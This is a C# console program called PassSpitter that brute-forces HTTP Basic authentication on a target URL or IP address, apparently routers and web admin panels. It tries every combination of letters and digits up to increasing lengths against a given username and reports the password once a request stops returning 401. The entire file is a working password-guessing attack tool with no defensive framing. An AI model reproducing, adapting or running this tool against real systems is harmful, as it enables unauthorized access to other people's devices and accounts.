using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Web;
using System.IO;

namespace PassSpitter
{

    class Program

    {

        #region Private variables

        // the secret password which we will try to find via brute force

        private static string result;

        private static bool isMatched = false;

        private static bool isFailing = false;

        /* The length of the charactersToTest Array is stored in a

        * additional variable to increase performance  */

        private static int charactersToTestLength = 0;

        private static long computedKeys = 0;

        /* An array containing the characters which will be used to create the brute force keys,

        * if less characters are used (e.g. only lower case chars) the faster the password is matched  */

        private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1','2','3','4','5', '6','7','8','9','0'};

        //private static char[] charactersToTest = { '1', '2', '3', '4', '5', '6', '7', '8', '9', '0' };

        //private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };

        //private static char[] charactersToTest = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z' };

        //private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0' };

        //private static char[] charactersToTest = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0' };

        //private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0' };

        //private static char[] charactersToTest = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '$', '#', '@', '-' };

        #endregion

        static void Main(string[] args)

        {

        starthere:

            Console.Clear();

            Console.WriteLine("**********************************************************************");

            Console.WriteLine("****** MadLogik's PassSpitter v1.0 (c) 2011  madlogik@gmail.com ******");

            Console.WriteLine("**********************************************************************");

            // The length of the array is stored permanently during runtime

            charactersToTestLength = charactersToTest.Length;

            // The length of the password is unknown, so we have to run trough the full search space

            Console.WriteLine("\nEnter the minimum password length");

            var estimatedPasswordLength = (int.Parse(Console.ReadLine()) - 1);

            //if people enter 0 .. it will be -1... so lets fix that.. :P

            if (estimatedPasswordLength < 0) { estimatedPasswordLength = 0; }

            Console.WriteLine("Enter the URL like http://192.168.1.1 or just the ip:");

            string mytargetip = Console.ReadLine();

            if (!mytargetip.Contains("http"))

            {

                mytargetip = "http://" + mytargetip;

            }

            Console.WriteLine("Enter the Username like admin:");

            string myusername = Console.ReadLine();

            var timeStarted = DateTime.Now;

            Console.WriteLine("Start BruteForce - {0}", timeStarted.ToString());

            while (!isMatched)

            {

                /* The estimated length of the password will be increased and every possible key for this

                * key length will be created and compared against the password */

                estimatedPasswordLength++;

                startBruteForce(estimatedPasswordLength, myusername, mytargetip);

                Console.WriteLine("\nTime elapsed: {0}s, Passwords tested: {1}, Pass/sec: {2}", DateTime.Now.Subtract(timeStarted).TotalSeconds, computedKeys, (computedKeys / DateTime.Now.Subtract(timeStarted).TotalSeconds));

            }

            Console.WriteLine("\n**********************************************************************");

            Console.Beep(500, 500);

            Console.Beep(300, 250);

            Console.Beep(500, 500);

            Console.WriteLine("Password matched. - {0}", DateTime.Now.ToString());

            Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);

            Console.WriteLine("Resolved password: {0}", result);

            Console.WriteLine("Computed keys: {0}", computedKeys);

            //end

            Console.ReadLine();

            Console.WriteLine("Do you want to try again?");

            string wannarideagain = Console.ReadLine();

            if (wannarideagain == "y")

            {

                isMatched = false;

                isFailing = false;

                computedKeys = 0;

                charactersToTestLength = 0;

                goto starthere;

            }

        }

        #region Private methods

        /// <summary>

        /// Starts the recursive method which will create the keys via brute force

        /// </summary>

        /// <param name="keyLength">The length of the key</param>

        private static void startBruteForce(int keyLength, string myusername, string mytargetip)

        {

            if (!isMatched)

            {

                Console.WriteLine("\nTesting passwords with {0} letters or numbers", keyLength);

                var keyChars = createCharArray(keyLength, charactersToTest[0]);

                // The index of the last character will be stored for slight perfomance improvement

                var indexOfLastChar = keyLength - 1;

                createNewKey(0, keyChars, keyLength, indexOfLastChar, myusername, mytargetip);

            }

            else

            { return; }

        }

        /// <summary>

        /// Creates a new char array of a specific length filled with the defaultChar

        /// </summary>

        /// <param name="length">The length of the array</param>

        /// <param name="defaultChar">The char with whom the array will be filled</param>

        /// <returns></returns>

        private static char[] createCharArray(int length, char defaultChar)

        {

            return (from c in new char[length] select defaultChar).ToArray();

        }

        /// <summary>

        /// This is the main workhorse, it creates new keys and compares them to the password until the password

        /// is matched or all keys of the current key length have been checked

        /// </summary>

        /// <param name="currentCharPosition">The position of the char which is replaced by new characters currently</param>

        /// <param name="keyChars">The current key represented as char array</param>

        /// <param name="keyLength">The length of the key</param>

        /// <param name="indexOfLastChar">The index of the last character of the key</param>

        private static void createNewKey(int currentCharPosition, char[] keyChars, int keyLength, int indexOfLastChar, string myusername, string mytargetip)

        {

            if (!isMatched)

            {

                var nextCharPosition = currentCharPosition + 1;

                // We are looping trough the full length of our charactersToTest array

                for (int i = 0; i < charactersToTestLength; i++)

                {

                    /* The character at the currentCharPosition will be replaced by a

                    * new character from the charactersToTest array => a new key combination will be created */

                    keyChars[currentCharPosition] = charactersToTest[i];

                    // The method calls itself recursively until all positions of the key char array have been replaced

                    if (currentCharPosition < indexOfLastChar)

                    {

                        createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, myusername, mytargetip);

                    }

                    else

                    {

                        // A new key has been created, remove this counter to improve performance

                        computedKeys++;

                        /* The char array will be converted to a string and compared to the password. If the password

                        * is matched the loop breaks and the password is stored as result. */

                        string mypassword = new String(keyChars);

                        string mycontent = "";

                        if (isFailing)

                        {

                            Console.WriteLine("\nWarning! You are not getting the expected 401 unauth message... Continue y/n ?");

                            string failcontinue = Console.ReadLine();

                            if (failcontinue == "n")

                            {

                                isMatched = true;

                                result = "Operation Failed!";

                                return;

                            }

                        }

                        try

                        {

                            WebRequest myReq = WebRequest.Create(mytargetip);

                            string usernamePassword = myusername + ":" + mypassword;

                            CredentialCache mycache = new CredentialCache();

                            mycache.Add(new Uri(mytargetip), "Basic", new NetworkCredential(myusername, mypassword));

                            myReq.Credentials = mycache;

                            myReq.Headers.Add("Authorization", "Basic " + Convert.ToBase64String(new ASCIIEncoding().GetBytes(usernamePassword)));

                            // if it breaks... it's here. 401 unauth

                            WebResponse wr = myReq.GetResponse();

                            Stream receiveStream = wr.GetResponseStream();

                            StreamReader reader = new StreamReader(receiveStream, Encoding.UTF8);

                            mycontent += reader.ReadLine();

                            mycontent += System.Environment.NewLine;

                            string currline = mycontent;

                            while (currline != null)

                            {

                                currline = reader.ReadLine();

                                mycontent += currline + System.Environment.NewLine;

                            }

                            reader.Close();

                            //Console.Write(mycontent); //source code!!!

                            //MessageBox.Show("The Password is: " + password, "Password Found!");

                            isMatched = true;

                            result = new String(keyChars);

                            return;

                        }

                        catch (Exception exx)

                        {

                            Console.Write("\rTesting Password: {0}", new String(keyChars));

                            if (!exx.Message.ToString().Contains("401"))

                            {

                                isFailing = true;

                                Console.WriteLine("\n\r{0}", exx.Message.ToString());

                                return;

                            }

                        } 

                    }

                }

            }

            else

            { return; }

        }

        #endregion

    }

}